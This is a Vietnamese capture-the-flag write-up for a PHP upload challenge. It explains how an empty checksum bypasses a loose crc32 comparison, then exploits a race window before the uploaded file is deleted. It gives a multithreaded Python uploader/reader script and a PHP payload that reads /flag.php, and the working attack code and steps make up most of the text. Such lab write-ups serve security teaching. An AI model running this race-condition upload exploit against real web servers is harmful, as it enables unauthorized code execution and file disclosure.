file_put_contents($filename, $flagfilecontent); if (md5_file($filename) === md5_file('flag.php') && $_POST['checksum'] == crc32($_POST['checksum'])) { include($filename); // it contains the `$flag` variable } else { $flag = "Nope, $filename is not the right file, sorry."; sleep(1); // Deter bruteforce }
unlink($filename); } ?>
Đoạn mã này là một trang web đơn giản cho phép người dùng tải lên một tệp và nhập một giá trị checksum. Mục tiêu là tải lên một tệp tin sao cho hai điều kiện sau được thỏa mãn:
md5_file($filename) === md5_file('flag.php')
POST['checksum'] == crc32($_POST['checksum'])
Nếu cả hai điều kiện này đều đúng, tệp tin được tải lên sẽ được include, và vì tệp tin đó có thể chứa mã độc, chúng ta có thể thực thi nó để lấy flag.
Tiến hành khai thác
Ở đây ta sẽ thử sử dụng chức năng với 1 file php với nội dung:
1 2 3 4 5 6 7 8 9
// show_flag.php <?php // Read the contents of the "flag.php" file $flag_content = file_get_contents("/flag.php");
// Display the contents of the file echo$flag_content;
?>
Để xem thử nó có ra flag hay không.
Kết quả trả về cho ta chỉ nhận được dòng Nope, ./tmp/06e2d538fba99ca2b2456260bc9e08f5.php is not the right file, sorry. Ở đoạn /tmp/06e2d538fba99ca2b2456260bc9e08f5.php liệu ta có thể khai thác gì thêm từ thông tin này không?
Ở đây giá trị $filename sau khi upload lên sẽ được đưa vào thư mục tạm là /tmp sau đó là đi với public ip của máy mình và rồi là đuôi file php, vậy nên có thể nhận thấy đây là file cố định với ip của mình và cho dù mình upload bất kì file nào lên thì nó sẽ đều đi vào /tmp/06e2d538fba99ca2b2456260bc9e08f5.php trước.
Ngoài ra trong source còn có đoạn:
1 2 3 4 5 6 7
else { $flag = "Nope, $filename is not the right file, sorry."; sleep(1); // Deter bruteforce }
unlink($filename); }
Có nghĩa là khi đẩy lên tmp nếu file sau khi check không trùng với md5 và crc32 checksum thì nó sẽ có 1 khoảng thời gian là 1 giây trước khi nó xoá đi file đó và với 1s thì đó là khoảng thời gian khá dài.
Bây giờ có 2 hướng đi đó là bypass được md5 và crc32 check và hướng race condition lợi dụng 1 giây đó. Với hướng đi đầu thì có vẻ bất khả thi vì ta sẽ khó để có thể biết được md5 của flag được giấu là gì cùng với đó là rất khó để tìm được số x sao cho x == crc32(str(x)) vì :
1 2 3 4 5
- crc32 trả ra giá trị 32-bit (từ 0 đến 2³²−1 ≈ 4.29 tỉ).
- Nếu coi hàm f(x) = crc32(str(x)) như một ánh xạ trên không gian 2³² phần tử, thì xác suất bất kỳ x cụ thể thỏa f(x)=x vào khoảng 1/2³².
- Nghĩa là trung bình bạn cần thử ~2³² lần (khoảng 4.29 tỉ) mới mong tìm được một nghiệm — không khả thi bằng dò ngẫu nhiên trên 1 máy.
Vậy nên ta sẽ dùng trick là so sánh crc32 với chuỗi rỗng:
1 2 3 4 5 6 7 8 9
- crc32('') trả về integer 0.
- '' (chuỗi rỗng) khi ép kiểu sang số cũng trở thành 0.
- PHP dùng so sánh lỏng == sẽ ép kiểu nếu cần, vậy '' == crc32('') tức là '' == 0 → true.
- Nhưng '' === crc32('') (so sánh kiểu chặt ===) sẽ false vì kiểu khác (string vs int).
- Vì vậy gửi checksum là chuỗi rỗng (checksum=) sẽ thỏa điều kiện $_POST['checksum'] == crc32($_POST['checksum'])
Vậy nên bây giờ ta chỉ có cách là lợi dụng trong khoảng thời gian 1 giây đó thực hiện request POST file php lên và thực hiện GET luôn giá trị của flag trong đó.
defuploader(i): s = requests.Session() s.headers.update({'User-Agent': random.choice(USER_AGENTS)}) data = {'checksum': '', 'submit': 'Upload and check'} # empty checksum bypass whileTrue: try: # open fresh every request withopen(FILE_PATH, 'rb') as fh: files = {'flag_file': (FILE_PATH, fh, 'application/octet-stream')} r = s.post(POST_URL, files=files, data=data, timeout=8) # optionally log low-volume feedback if r.status_code != 200: print(f"[U{i}] status {r.status_code}") except Exception as e: print(f"[U{i}] upload err: {e}") time.sleep(SLEEP_UPLOAD + random.random()*0.02)
defreader(i, stop_event): s = requests.Session() s.headers.update({'User-Agent': random.choice(USER_AGENTS)}) whilenot stop_event.is_set(): try: r = s.get(TMP_URL, timeout=6) if r.status_code == 200: txt = r.text # quick check for flag pattern if'FLAG{'in txt or'WEBSEC{'in txt: print(f"[R{i}] !!! FLAG FOUND !!!\n{txt}") stop_event.set() return # debug: when file is not PHP anymore (indicates something changed) if"<?php"notin txt: print(f"[R{i}] changed content (snippet): {repr(txt[:200])}") else: # minor backoff on non-200 to avoid making things worse time.sleep(0.05) except Exception as e: print(f"[R{i}] read err: {e}") time.sleep(SLEEP_READ + random.random()*0.005)
if __name__ == "__main__": stop_event = threading.Event() threads = [] for i inrange(NUM_UPLOADERS): t = threading.Thread(target=uploader, args=(i,), daemon=True) t.start() threads.append(t) for i inrange(NUM_READERS): t = threading.Thread(target=reader, args=(i, stop_event), daemon=True) t.start() threads.append(t)
try: whilenot stop_event.is_set(): time.sleep(0.5) except KeyboardInterrupt: print("Stopped by user")
File php với mục đích hiển thị nội dung file flag được giấu ở bên trong hệ thống.
1 2 3 4 5 6 7 8 9
// show_flag.php <?php // Read the contents of the "flag.php" file $flag_content = file_get_contents("/flag.php");
// Display the contents of the file echo$flag_content;
?>
Thành công lấy được nội dung flag ở bên trong bằng cách POST và GET nhanh trong vòng 1 giây.